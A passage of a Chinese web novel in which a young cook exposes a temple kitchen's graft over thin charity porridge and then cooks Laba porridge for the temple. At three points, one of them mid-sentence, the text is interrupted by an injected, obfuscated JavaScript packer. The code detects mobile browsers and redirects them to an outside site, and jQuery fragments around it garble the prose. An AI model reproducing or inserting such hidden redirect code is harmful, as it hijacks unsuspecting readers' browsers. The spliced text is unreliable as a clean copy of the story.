这种事其实闵晞有想过，店的位置在银杏巷的拐角处，其实有点偏僻。但从银杏巷的拐角处出来走上一会儿就到了城北集市的入口，这样看又不算很偏。如果可以把店开到集市附近的话，那生意自是更加兴旺一点。 符黎听了她的话后，“与其把店开到集市附近，不如想得更远一点，开到城中附近，那岂不是更好？” 闵晞以前没怎么去过城里，但头几天跑市场的时候去过几次，那里确实异常繁华，南来北往行走着各地的货郎，他们卖的东西都让闵晞眼花缭乱。甚至还有来自西域的胡商，也兜售着许多珍贵的蔬菜香料。闵晞本来想买一点，后面又觉得没有必要，遂作罢。 当时他们逛累了还在那里吃了顿便饭，就连普通的一碗面都要比他们那里贵上个五文钱，味道还一般。 虽然很向往繁华的市中心，但闵晞思前想后，觉得此事还是需要从长计议，目前还是先过好眼下的生活吧。 冬至过后，天气逐渐转凉，陶淑苑抽空给大家都买了一身厚衣服。闵彦和闵达彬分别是石青色的葛布棉袍和宝蓝色的夹袍。杨霜也有一件，只不过是男款的。但她收到衣服的时候还是很喜欢，一个劲地说谢谢。 闵晞的则是一件桃红色的丝棉对襟长衣，这件桃红色的长衣穿在她身上格外喜庆，走远了看就像以前门前挂的年画娃娃似的。 除了这些，陶淑苑还亲自给她绣了一双祥云纹的暖手筒。 闵晞穿上觉得十分温暖，忍不住看了又看。陶淑苑见了，“虽然之前寒衣节已经给你们买了衣物，但眼下天又凉了几分，还是得再买两件备着。” “我记得之前你的手总是生疮，想来是天气太冷导致，所以平日里还是经常戴着。” 闵晞听了说是，但她没好意思对母亲说因为符黎送来的柏叶手药膏，她天天涂抹，这会已经快好全了。不过这回有了母亲的暖手筒，她应该会好得更快。 说来自从那天下了一点雪花后，就再没有下过。正当闵晞好奇什么时候还会再下的时候，突如其来的一天早上，闵晞将将起床，等她推开了门，发现自己已然进入了一个银色世界，入眼遍地都是洁白无瑕的雪色。 闵晞以前生活在南方城市，鲜少见雪。来到这个世界后第一次见到那么大的雪，心情瞬间明媚了起来。 她好奇地用手摸了摸，刚下下来的雪十分柔软，如羽毛般轻盈，一捧就碎了。 纯净的白雪覆盖着大地，银装素裹，就如同一幅淡雅的山水画，宁静而美好。 闵晞欣赏了一会儿，还没来得及试着捏个小雪球，就被棚子里传来的啼叫声吸引了过去。 “怎么了大呆？”闵晞过去见大呆站在堆积的草棚里，好像很是激动。 过了些时日，大呆也壮了些。见它有些兴奋的样子，眼睛还一直看向外面，闵晞当即明白它也好奇这皑皑白雪，便把大呆放了出来。 小骡子出生到现在，这还是它第一次看见雪，看见冬季。放出来的大呆很是好奇地看了看地上的白雪，试着用蹄子踩了踩，又用舌头舔了舔，然后欢快地跑了一会儿，留下一串串浅浅的脚印。 闵晞见它那样也很开心，不过也只陪它玩了一会儿便把大呆牵了回去，顺便擦了擦身上的雪水。 闵达彬之前就怕小骡子冬天冷着，还特意把草棚给加固了一下，也往里面堆满了厚厚的草料。有的时候他在家，也会让小骡子进屋子里暖和，可以说对它十分上心了。 陶淑苑起来见到此情此景也是格外欣喜。见雪已慢慢落在地上堆积了起来，陶淑苑便道趁着雪还没有更大的时候去普罗寺上上香，为来年求个吉利。 闵晞还没在这里上过香，便欣然应允了，抽空和母亲一起去了城里最大的普罗寺。 普罗寺修建已快百年，整座寺庙坐北朝南，风水极好，是城里香火最盛的一座寺庙。寺庙里常年青烟袅袅，灯盏长明，僧人朗诵不断。甚至那香炉，都因为常年的烟熏火燎也有了香釉。 听说在普罗寺许的愿十有八九都会如愿，所以来上香者众多，甚至还有不少皇亲贵戚。 闵晞见平日里来的人就不少，不敢想如果等过节的时候有多可怕，怕是门槛都被踩烂了。 随着众人闵晞和母亲一步一步走上了青色石梯，等来到了第一扇朱色大门之时，闵晞见到门外还摆有施粥的摊铺。 普罗寺因为香火旺盛，所以时不时会施粥来给那些穷苦百姓吃，也会捐赠一些旧衣物供他们取暖，这一善举也为普罗寺赢得了许多好感。 闵晞走上前随意一看，见做的是普通的糙米粥。 可能是见闵晞过来，所以那施粥人也给闵晞舀了一碗。闵晞顺手接过，尝了一口，却不想这一碗普通的糙米粥也能做得如此难吃。 首先就是这粥太稀了，像是在喝汤一样。如果只是稀的话闵晞也可以理解，毕竟这粥是免费的，和花了银子的肯定不一样。但是这粥不仅稀如汤水，用嘴一嚼，甚至还是不少米是半生不熟的。 糙米难煮熟，所以一般要多煮一会儿才会软烂。这糙米粥里有些米熟了，有些米则倔强地保持着原有的姿态，吃进嘴里三分生，其中一粒糙米还差点磕了她的牙。 不仅如此，整碗粥一点调料没放，喝起来简直如同涮锅水一般索然无味，甚至闵晞还在汤里品尝到了一点姜蒜的味道。 可谓是味不纯，汤不融，米不熟，简直是难以下咽。 或许是见闵晞表情太过难看，那施粥的人飘飘然道：“我寺米粥只为贫困之人饱腹所食，见在下衣袍崭新，想来是不需要的。” 这句话大有讽刺她的意思，说她明明有衣服穿，却还在和穷人抢饭吃。 说完这话后，另外两个人都低头笑出了声。 见面前这三人是这般态度，闵晞也有了一丝不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15739343|171847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爽。 见闵晞被说，陶淑苑也尝了尝那粥，随后皱眉道：“就算是给贫困之人食用，怎能做得如此难吃？偌大的普罗寺如果真心想施粥，那为何不再做好一点？而不是如此抠抠搜搜，传出去反倒失了贵寺的身份。” 见陶淑苑堂而皇之说出这种话，施粥的人面上有些挂不住，而那些正坐或站在一旁的穷人也都道：“原先普罗寺做的粥可不是这样的，但是近年来越发潦草，我喝了三碗都只喝了个水饱。” “不仅如此，我家小女那天喝了还拉了肚子，回去发了三天的高烧，那粥应当不干净！要不是家里穷，我又怎么会拉下脸来讨粥喝呢。” 周围的人本来都是贫苦之人，想着有粥喝也不挑剔。但最近一段时日来，这粥实在是敷衍，加上闵晞今日这么一说，他们也抱怨了起来。 “你们是什么人？”见旁人不满，施粥的人一改方才的高傲态度，恶狠狠地看向闵晞：“你们是不是来寺庙捣乱的？信不信我马上找人把你们送去官府！” 见他们狗急跳墙，闵晞倒觉得有点意思：“普罗寺常年香火鼎盛，所以才会做这施粥之事。我相信贵寺不会为了一碗粥自砸招牌，但你这粥确实做得如汤一般稀，难免让人猜想这其中是不是有什么隐情？” 见闵晞暗喻他们有中饱私囊的嫌疑，那几人立马跳脚，甚至有人冲出摊铺想去抓闵晞。 守门的人看到眼前这幅场景，早就急匆匆往庙里冲去找人，所以眼下一片混乱，根本没有人管。 闵晞见他们要抓自己，是急忙跑进了庙里，同时和母亲拉开了距离，以免被连累。 正在几人追赶之际，门内走出来数名手持武棍的法僧身影，以及一道宏伟有力的声音。 “寺庙乃清修之地，何人敢在寺内大声喧哗？” 听见声音，闵晞和那几个施粥之人纷纷停下，看着两名高僧打扮的人慢步走到他们面前，周围还有人小声议论的。 “是空辰方丈和愿明方丈。” “竟然能亲眼见到他们，实在是三生有幸。” 闵晞虽然不认识这二人，但见二位高僧的脸虽然饱经风霜，满脸皱纹，但双眼却炯炯有神，步伐稳健，又有如此威望，想来地位不低。 二人见了闵晞和施粥的人，便询问发生了什么事。 那施粥的人一听立马上前污蔑闵晞说她们来寺庙捣乱，还对普罗寺出言不逊。 “还望两位方丈为我等做主，严惩她们，将她们丢出普罗寺。”说完他们跪了下去。 两位方丈听完不作其他，只看向闵晞：“你有什么好说的？” 闵晞听完，不慌不忙把方才发生的事都说了一遍，末了还看在地上的人，道：“还望方丈好生查一查，还他们一个清白，也还普罗寺一个清白。” 两人说话各执一词，闵晞见状便道：“若两位方丈不信，大可去门口看看施粥的摊铺，那里可还有不少粥。” 说出这话时，跪在地上的二人瞬间挺起了腰背，一脸愤怒地看向闵晞。 两位方丈听了也道：“我寺一向善待凄苦之人，施的粥怎会像你说的那般？如果真的发生了这种事，那是断然不允许的。走，去看看。” 22. 第 22 章 听了闵晞的话，两位方丈朝门外走去，闵晞也在施粥的三人脸上看到了惊慌之色。 本想当众揭穿他们做的丑事，可不等他们到门口，闵晞就听见从门外传来的喧哗声，同时伴随重物落地的声音。 “娘——”闵晞怕有什么意外，连忙跑了出去。在见到母亲完好无损的时候她松了一口气，随后急忙上前查看她的状况。 “母亲没事吧？” “孩子我没事，只是……”陶淑苑示意闵晞看去。 只见地上一片狼藉，两桶粥桶都翻倒在地，而桶里的粥都洒在了地上，顺着石梯滴滴答答地往下流去。 “你好大的胆子，居然还敢把粥桶推倒！”见粥洒落一地，那人即刻指着陶淑苑厉声道：“如此浪费粮食还污蔑我寺，实在是罪大恶极，二位方丈可一定不能放过！” 陶淑苑听了忙大声道：“我没有，我怎么会去推那粥桶？是我方才站在一旁，结果忽然听见一阵声音，转过头去我只见到了掉落在地的粥桶，和一名男子匆忙逃跑的身影。” “一定是那个人推的。” “口说无凭，旁的人可有见到？”说着施粥的人看向了一旁的乞丐，瞪大的眼睛极为凶恶：“你们有看到吗？说啊，都说话！” 在场的人听见都沉默不语，甚至还有人带着小孩赶跑下山。 闵晞知道那些乞丐肯定是怕今天的事一出，要是为她们做证，那难保以后连汤水都没得喝，所以才闭口不谈。 见状闵晞不疾不徐：“无人做证不代表没有证据，两位长老可以看地上的痕迹，大多是汤水，没有几粒米。” 而且……闵晞走到倒在地上的粥桶旁，扶起了粥桶。 “这桶里还剩了一点稀粥，方丈可以尝尝味道，看看是否同我说的那般……” “放肆！”看闵晞气定神闲的样子，那施粥之人立即反驳：“方丈她们竟敢如此轻看您，还妄想让您去吃那些残羹冷炙，实在是大逆不道。还请方丈即刻把她赶出普罗寺，这辈子都不准再进！” 空辰方丈听了二人的话，面上没有一点表情，只定定看向施粥的人：“你叫什么名字，是谁喊你来施粥的？” 方丈说话自带一股不怒自威的神情，让那人听了立即小声讨好着。 “空辰方丈，我是后厨副厨赖智的亲戚赖旭祥，最近来吃粥的人越来越多，寺里忙不过来，所以赖大厨便让我们来帮忙。我都来了有两年了，之前也一直在后厨帮忙,不怎么出来过，所以您才对我眼生。” 听了他的话，空辰并未多言。而一旁的愿明方丈上前查看粥桶后，朝空辰递去一个眼神。 空辰方丈当即明了，随后摆手让人把赖旭祥和其余两人抓了起来。 “方丈！这，这是为何？”见周围的武僧把他们围了起来，那三人立马慌了，甚至有一人还想跑也被武僧及时制止并用棍棒打倒在地。 空辰方丈叹了口气：“没想到在我眼皮子下普罗寺竟发生了如此丑事，却无一人来禀报我，实在是我之错。” “方丈必定是他人陷害我们……” “无需多言，此事还有疑点需严查。先将这几人控制起来，等查出结果后我会禀明住持再一并处置。” 空辰方丈气势如宏伟，随着语气的加重，叫周围的人越发有些忌惮。 之后集中的人群慢慢散去，而空辰方丈却让闵晞和陶淑苑留步。 “发生这种事实在是我寺之过，我先代普罗寺向各位道歉，之前实在是多有得罪。” 闵晞见这两位方丈并没有向着自己人说话，言语间条理清晰，想来是相信了她的话。 “两位方丈严重了，”闵晞也实话实说：“其实这是普罗寺的家事，实在不该我一个外人来说道。只是他们三人言语间实在不敬，对那些无家可归的人也没有一点怜爱与悲悯之心。所以我一气之下才.......” 听了闵晞的话，他们点头道：“施主无须介怀，此事你没有做错，不如说正是因为施主的善意直言，才让我们发现这等歪理之风。” 言语间，他们把闵晞和陶淑苑请进了寺里，说想请她们等一会儿，而他们则去向住持禀明此事。 闵晞今天就是想来寺里逛逛，上上香。便在一旁僧人的带领下参观起了寺庙。 寺庙规模宏大，闵晞逛了好一会儿才进了最后一座殿宇。匾额上"大雄宝殿"金碧辉煌，不沾一点尘埃。两侧古树参天，伸出的枝丫几乎要将天给遮住。偶有风吹过时，檐角铜铃轻轻吟颤，似在低诵梵音。 闵晞看着大殿内的金身佛像端坐于莲花台，低垂的眉眼似乎饱含着对众人的悲悯。见状她想起在自己身上发生的种种，也低眉垂目，神情严肃地俯身朝着金佛磕了三个头。 一是希望前世的父母身体安康，一辈子平安快乐。 二是希望现在的家人同样身体健康，日子蒸蒸日上。 至于三嘛……忽地闵晞脑海里想起了正在备考的符黎，想起了几次送饭时见他在窗前苦读的模样。便心思一转，祝愿他能榜上有名。 愿望许完，香案上烛火摇曳，暗香浮动，也映得经幡上的梵文忽明忽暗。闵晞见冬日里疏影横斜，与佛前的香火交织，透出静寂的禅意，不似方才的尘世喧嚣。 拜完佛后，今天的任务本该完成，但因为前不久发生的事，僧人还请她们去禅房一坐。 闵晞跟着他们经过回廊，从这里能依稀听见从不远处传来的阵阵木鱼声。来到偏院禅房，见屋内已有人准备好茶水一盏，糕点一盘。 “还请施主稍等片刻。” 人走后，闵晞坐在了蒲团上，望着窗外的景色，一时觉得有些累了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15769823|171847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“晞儿，咱们不会有事吧？”见被留住了，陶淑苑面露不安，动作也拘谨了几分。 “应当无事。”闵晞回想了一下，“要真有事，那就不会对我们这么客气了。”说完她给母亲倒了杯热茶：“母亲喝些茶，压压惊。” 不一会儿从外面传来有序的脚步声，闵晞抬头看去，见门被打开，一位面生的高僧走了进来，身后的人帮她们关上了门。 “了无住持？” 陶淑苑有些惊讶的声音在屋里响起，闵晞才意识到眼前长着一双长寿眉的人就是了无住持。 “阿弥陀佛。”了无住持向闵晞和陶淑苑点头示意。 等人坐下后，闵晞经过了解，才知道住持是寺里的主僧，负责寺内各种大小事宜，例如法事活动，僧人纪律和日常运营等事宜，总的来说类似于现代的总经理。 了解今天发生的事后，他脸上深感抱歉，一直双手合十喃喃自语着。最后还是闵晞看不下去，宽慰了一番，才让他不再那么自责。 语闭，外面传来敲门声，几名僧人端着两份饭食走了进来。 “为表歉意，还请两位施主吃了饭再走吧，也算是普罗寺的一番心意。” 见住持都这么说了，刚刚那么一闹闵晞也觉得有些饿了，便欣然同意。 低头看见盘中，有一道由桑耳和冬菇及冬笋制作而成的罗汉斋一盘、清炒萝卜丝一盘，和豆腐皮及粉丝制作而成的素鱼翅一盘。另有黄豆和小米做成的豆粥一碗，咸菜一份。 寺庙戒荤腥，所以盘里都是素斋，闵晞和陶淑苑都理解。不过这菜吃进嘴里，闵晞发现了一丝不对。 这菜看着种类丰富，但怎么吃着不太好吃呢？等闵晞又喝了一口粥后，她好像发现了什么随后看向母亲。母亲也是露出一种微妙的神情。 “住持，你们日常就吃这种饭食吗？” 似乎是自己措辞不当，闵晞见住持面色不对，急忙解释道：“我不是那个意思，还请听我解释。” “我觉得寺的伙食似乎不大好。” “怎么说？” 闵晞咳嗽了两声：“我知道寺庙戒规森严，所以各位僧人应当也很少外出，同样也很少在外吃饭吧？” “是。” “但我今日一吃，发现这菜都是陈旧之物，吃起来味如嚼蜡，就连这米粥也是用放了许久的陈米炖煮而成。不知道住持是否吃得出来？” 庙里的高僧都是年过半百的年纪，味觉和嗅觉有退化都很正常，如果长年累月地慢慢用不新鲜的食材做饭，一时吃不出来差别也能理解。 见闵晞这么说，了无住持顿时静默了。 见了无住持顿住了，闵晞叹了口气，对住持道：“可否借住持后厨一用？”顺便闵晞又转头对母亲道：“母亲可否帮我买一些新鲜的黑米糯米和芋头桂圆干回来？” 23. 第 23 章 听了闵晞的话陶淑苑不出半个时辰便买回了新鲜的食材。闵晞因为怕后厨人多，了无住持便让她用了自己平时不怎么用的小厨房。 小厨房许久未用门一打开都是灰尘，两名小僧收拾了好一会儿才能用。 等处理好了闵晞利看了看母亲买回来的黑米和糯米。米粒颗颗饱满圆润，十分新鲜，芋头也是。确认食材无误后闵晞把两种米放入锅中冲洗，洗去表面的杂质和尘土。之后加入适量清水浸泡片刻，这样可以使煮出来的粥更加软糯。 接着锅中加入适量清水，把糯米和黑米大火煮开后再转成小火继续慢熬，并时不时地搅拌，防止米粒粘锅。 瞧着时间到了，再开盖瞧着米粒已经有开花的势头，便把切好的芋头和桂圆干一并放进去煮。等芋头也煮软了，闵晞又往里加入了□□糖调味，这时一道甜甜的黑米芋头粥已经做好。 闵晞舀了一碗出来，请住持品尝。了无住持尝了后，本来被长寿眉盖住大半的双眼瞬间睁开了一点。 只见他瘦骨嶙峋的双手捧着那碗甜粥尝了两口后，一直不说话。 闵晞怕他不喜欢，便又道如果觉得味道不好可以再加点□□糖和桂圆干。 了无住持摆摆手，然后让那些小僧把几位方丈请过来。等人都到了，了无住持示意他们都尝尝闵晞做的粥，就连小僧也喝了。 “如何？”见他们都喝了，住持问道。 “这黑米芋头粥煮的浓稠软糯，又因加了桂圆干和□□糖调味，味道甜蜜，实在是好喝。”愿明方丈道。 “那和我们后厨做的粥比呢？”了无住持又道。 说到这，在场的几人都不说话了。还是了无住持问向小僧：“你们日常吃的就是之前那种饭食？” 寺里的住持和方丈吃的和他们不一样，都是由后厨特制的菜式。所以他们自然不知下面的人吃得有多差。 小僧低头道：“是的。原先我们吃的斋饭虽然清淡，但总的来说味道尚可。只是最近一年以来后厨做的斋饭越来越差。我们也问过，只说最近收成不好，所以菜不新鲜，味道也差了些。” “但是到了后面我们发现后厨做饭越发敷衍，不仅食材不新鲜，就连味道都难吃了不少。我本想去找他们理论，但又想到来此地是为了清修，口腹之欲都是其次，所以便忍住了。” 闵晞听了也道：“就是因为你们的隐忍不发，才造就了今日的局面。那后厨如此无法无天，不仅对你们的饮食做了手脚，就连给外面贫苦之人施的粥也敢如此敷衍，一碗当成三碗分，实在是过分！” 听了二人的话，了无住持叹了一口气：“佛祖让我们吃素是为了培养我们谦和柔顺的心性和仁慈悲悯的性格。而不是让你们逆来顺受。” 说完他又对在场的人道：“此事必须严查，参与其中者一个都不能放过！” 等事情暂告一段落后，闵晞向窗外看去，见太阳已有西沉之势，高处的钟鼓已经敲响。便不再耽搁，和母亲起身准备离开。 临走之际，了无住持把她们送到了寺外，同她们说了不少感谢的话，还说等事情查清楚后一定会告诉她们。 闵晞和母亲回家后，将这事告诉了闵彦和闵达彬。闵达彬有些担忧：“你们不怕被事后报复吗？” 闵彦听了道：“自古以来，这种偷奸耍滑，贪吃公粮的人还少吗？就算不妹妹说，他们也迟早会查出来，只不过早晚的事。” 闵晞也说：“他们竟敢堂而皇之在寺外做出这种事，就足以见得心思有多歹毒。如此胆大包天，既然敢做就要做好被发现和承担后果的准备。” 见闵晞态度决绝，闵达彬也只道：“也是他们做得太过了，怎么能连给穷人施粥的钱也贪呢。” 过了些时日，闵晞的早点铺来了两名僧人，他们说自己从普罗寺而来，然后告知了闵晞之后的事。 “后面了无住持严查，把后厨的人挨个审讯，最后才知道那副厨做事当面一套、背后一套，以为自己在这里干久了，又见普罗寺香火旺盛，便生了些不该有的心思。便联合他的亲戚们一起做起了那不轨之事。” 起先只是小偷小摸，克扣些许银钱。后面见无人发现便胆子大了起来扣得更多。以至于到最后给寺里人吃的都是些不新鲜的蔬菜瓜果。而为了防止被发现，他们给高僧和方丈以及来寺里清修一段时间的贵人准备的则是平常的饮食。 上次闵晞吃的饭他们还提前问过是为谁准备的。在得知是平常人家后就随意敷衍，也因此被发现。 除了这些意外，他们发现副厨赖智和他的亲眷居然还在寺内偷吃荤腥之物，实乃罪大恶极！ 主厨虽然知道他们做的事，但碍于威逼利诱也不敢告发，所以才酿成大祸。 “那他们作何处置呢？” “一人仗五十，没收家产赶出寺外，终身不得踏入寺里。” 告知了闵晞全部事情后，闵晞叹了一口气：“真是自作孽不可活。” 得知结果后，闵晞说了些感谢的话，几人客气了一番，此事终于落下帷幕。之后闵晞见两位僧人相视一看，见来吃饭的客人越来越多，便微微俯身对闵晞道：“不知闵施主可否借一步说话。” 闵晞带着他们去了后面的小院子，心想话都说完了，还有什么要说的吗？ 不过一会儿，闵晞就知道了他们此番前来的真正目的。 因为后厨被严查了一番，所以近一半的人都被驱逐出寺，这也就导致了后厨目前人手不够，但因为招人还需要一段时间，所以他们想请闵晞过去帮忙一段时间。 “尤其是再过不久腊八将至，那时普罗寺同样会为所有前来的施主施粥。但眼下时间紧急，人手稀缺，所以才想来劳烦闵施主，看此事是否可行？” 闵晞还未回话，他们接下来便提出了一个无法让闵晞拒绝的价格。银子一出，陶淑苑也开了眼。 这普罗寺实在是出手阔绰，让人拒绝不得啊。 听了价格，闵晞虽然很高兴，但又想起自己还要给符黎做好，心里便有些许犹豫。 “没事的，到时候我来做符公子的饭。”陶淑苑道：“跟在你身边也学会了大半的菜式，到时送饭的时候我去同符公子说一说，他应当会理解的。” 闵晞想了一想，又算了算日子，想着次数也不多，便道可以。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15781944|171847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “那就这么说定了，从后天起至腊八那天，我都会来寺里帮忙，也希望贵寺能尽快找到足够的人手。” 重要的事情谈妥后，两位僧人脸上露出了如释重负的笑容，然后还给闵晞留下了五两的定金。至于剩下的，则是在腊八后给她。 闵晞看着漂亮的银子，又想着之后的尾款，心里是乐开了花。 第二天，闵晞想着还是亲自去符公子那里走一趟，告诉事情的原委。也因为普罗寺都吃素斋，所以她起了个大早准备先做两种素包子练练手。 先将粉丝用热水泡开后全部切碎，再加适量老抽调色。豆腐切小块下水去腥味。接着烧锅热油将二者一起翻炒并放入生抽、盐和豆酱调味。 揉面现在有了杨霜，所以闵晞直接将做好的馅料包进了现成皮里等醒发上锅蒸就好。 一份馅料做好了，接着就是另一个鸡蛋桑耳馅的。之前闵晞同他们仔细问过，发现普罗寺对鸡蛋的管理未那么严格，可以食用。 闵晞先将鸡蛋打入碗中搅拌均匀，锅里放油快速翻炒后用筷子将鸡蛋分成小碎块。之后加入盐和生抽稍微调味，再盛出放凉。 提前泡发好的桑耳切成碎末，再把鸡蛋碎倒进去加适量香油、盐、老抽及花椒粉调味。 馅料拌制好后，继续包起来醒一会儿，再上锅蒸熟便好。 闵晞做好后尝了尝，发现虽然是素馅的包子，但一点不比肉包子差。只是因为普罗寺严格禁止食用“五辛”，即蒜、薤、韭菜、胡葱、兴渠等具有强烈气味的蔬菜。所以闵晞也没有加葱和韭菜等物。如果加了的话，味道自然会更好。 闵晞把做好的包子装进食盒里，亲自带给了符黎。在同符黎解释后，符黎先是肯定了闵晞的行为，然后狠狠谴责了那些鸡鸣狗盗之人，说闵晞做得对。然后也为闵姑娘后面一段时间不能为自己做饭感到惋惜。 闵晞笑笑：“这有什么，看为了向公子赔罪，我可是特意做了不少包子来的，快尝尝。”说着把食盒打开，露出了一排排还冒着热气的皮薄透油的包子。 两个包子吃后，符黎对闵晞的素包子大加赞赏，同时也说杨霜的技术好了很多。 看符黎很喜欢的样子，闵晞也想着等她忙腊八后，也可以把素包子加进早点铺的食单里，这样供客人的选择也就更多了。 赞美的话说完后，符黎低头看向了闵晞被暖手筒严实包裹住的双手，细心问道：“不知闵老板手上伤势如何？可有用那手膏？” 闵晞听了取下暖手筒，露出一双并不纤细的手：“这都要多谢了符公子的膏药，我的手已然大好了，而且再不会感觉像以前那么冷。” 符黎听了松了一口气：“有用就好，那日无意看见闵姑娘手上冻疮，所以才冒昧买了那膏药来，还希望闵老板不要介意。” 闵晞不懂古人这些弯弯绕绕，只大方道：“哪有的事，倒是劳烦公子破费了。” 说着二人又聊了一会儿，闵晞才起身离去。走时符黎把人送到了巷口，闵晞见他还有继续送的意思，急忙让他赶紧回去了，符黎这才停下脚步，望着她的身影慢慢化成一个小点，最后消失不见。 24. 第 24 章 等到了去普罗寺那日，闵晞提前起了个大早趁着夜色还浓，雾色未散之时慢走了过去。 到了寺庙僧人领她至后厨，闵晞见这后厨确实挺大，相比她的小小早点铺来说大了好几倍，而且通透宽敞，采光也很好。 “闵施主，就是这里。”把闵晞带到后，一旁一位胖胖的男人走了过来，上下打量了她几眼：“你就是那个闵晞？让赖智吃不了兜着走的那个小姑娘？” 闵晞点点头：“正是在下。” 胖男人见闵晞如此自信，扑哧一声笑出来：“你可胆子真大，居然敢去招惹他。我可是听说他们家在道上有人，要是惹了他可没好果子吃，所以他们做的那些肮脏事我都忍了。” “没想到你一个黄毛小丫头胆子还挺大。” 闵晞心想那不是当时一时气上心头，实在是忍不了嘛。 见闵晞面部表情丰富，胖男人笑呵呵的：“行了，我姓郭，我大你好几轮，你喊郭叔就成。” “你那天做的粥我也喝了，味道确实不错。眼下实在是找不到合适的人，所以只能先受累拜托你了。” 闵晞心想，不累不累，都是给了钱的，哪能说累呢。于是也笑呵呵地同郭叔熟络了起来，一起备起了今天的饭菜。 几天的熟悉后，闵晞发现郭叔其实做饭还是不错的，只不过因为之前有赖智故意作梗，又加上是大锅饭，难免没有那么精细，所以才导致饭食不好。 那天彻查一番后，这会子的菜都经过严格采买，闵晞见菜都是新鲜的，甚至菜叶上还挂着未洗净的泥，一看就是才摘下来的。凑近了闻，还能闻到蔬菜特有的清新味道。 要是拿这样的蔬菜做饭，味道自然不会差。 于是在闵晞和郭叔的联手下，普罗寺的伙食很快回到了从前，甚至比以前更好。原本那些因为饭食差而日渐面黄肌瘦的僧人，也因为二人的好厨艺慢慢胖了回去。 郭叔也时时为闵晞的厨艺而赞叹，想他做饭二十余年，用的都是些祖上传下来的老方子。这小姑娘一来，倒是教了他不少新菜式，让他也学了不少东西。 按理来说这做饭的本事和手艺那一般都是不外传的，但闵晞十分大方，教了他不少。还告诉他如何改进，如何做出来更好吃，这点倒是让他很佩服。 而闵晞只道郭叔学了又不会拿出去卖，而是造福寺庙众人，那有何不可教的？ 郭叔听了心想也是。 这样的想法持续到了腊八之时。虽然闵晞人还没走，但郭叔已经有了些依依不舍的情绪。想着这期间寺里已经找好了人，而明日腊八后她也要走了，郭叔还时不时哀声道：“你要是走咯，要是哪天住持和方丈们又想吃你做的菜该如何是好？” 见他如此作态，闵晞盈盈道：“我不是都教了你许多早点的做法吗？你可是都学了八成，剩下的就只剩熟能生巧了。” 见闵晞都这么说，郭叔也知道她有自己的铺子，必然不可能留在这里，也只好叹息两声作罢。 翌日，刚过寅时，后厨的人全都起来了。不为别的，只为这一碗腊八粥。 至于为什么腊八这一天要喝腊八粥，是因为和释迦牟尼夜睹明星成道开悟的故事有关。 话说佛教创始人释迦牟尼在成道前，曾苦苦修行数年，在一次修行中他饿昏在地，而路过的一名放牧女子熬了一碗乳糜给他喝下。释迦牟尼也因此在菩提树下悟道成佛。为了纪念这一天，各地寺院都会在这一天煮粥供佛。 而腊八粥又称佛粥。 所以这一天对普罗寺来说极为重要，而闵晞等人自然也不能懈怠。 今天普罗寺会准备好腊八粥在大门口施粥，到时只要是过往的善男信女都可以分得一碗，所以闵晞必须得早点起来准备。 昨天晚上就已经提前备好大米、黑米、糯米、薏米、花生、核桃、黑豆、红豆、芸豆、红枣、莲子、桂圆、冰糖等数十种食材。 今天则是把泡了一晚上的米倒入锅中大火烧开后小火慢慢煮，等上一个时辰后，见米和豆都已开花，此时再倒入红枣，莲子桂圆等物再煮上两炷香，最后加入冰糖用力搅拌至融化。 这样一碗色彩缤纷，汤汁黏稠，营养丰富的腊八粥就做好了。 同时闵晞还做了腊八豆腐和腊八糕等应景的食物。 等忙活一通后，后厨早已是热火朝天，而外面却飘起了雪。闵晞忙完这会，推开门吹了吹外面的冷风，冷风迎面吹来，让闵晞这才觉得没那么热了。 而正巧前面有人正抱着一盆东西走了过来，两人迎面打了个招呼。 “这是什么？”来人是后厨新来的副厨赵师傅。 闵晞见盆里是一碗冻得硬邦邦的冰块，不禁好奇着。 “这你就不知道了。”小赵抱着一大碗冰回来，用小锤子把冰一点一点敲开，边敲边说：“俗话说，来年成不成，先看腊八冰。” “这前一天冻上的腊八冰，如果今天十分坚硬，那么就预示着来年会风调雨顺，天地平安，百姓也不会饿肚子。” “而我们吃了这腊八冰呢，来年一年都不会肚子痛。”说着他给了闵晞一小块冰：“灵的很呢，你尝尝。” 闵晞接过那晶莹剔透的冰块，心想确实没听过，正好忙完身上热乎乎的便吃了一小块。 这下子，身体一下不热了。 等一切都准备好后，郭叔和赵师傅留在普罗寺负责僧人们的朝食，而闵晞则和其他人负责为大家施粥。 把摊子摆好后，热锅里的粥正源源不断冒着美味的热气，而逐渐踏梯而来的行人们也纷纷过来讨一碗粥喝。 闵晞熟练快速地备好粥为他们递过去，喝了的人无一不夸赞，说这粥好喝，比之前喝过的粥都要好喝。 “娘我还要！”喝碗粥的小孩子顿时觉得身子暖乎乎的，那粥也甜甜的尤其美味，便缠着娘亲又想喝。 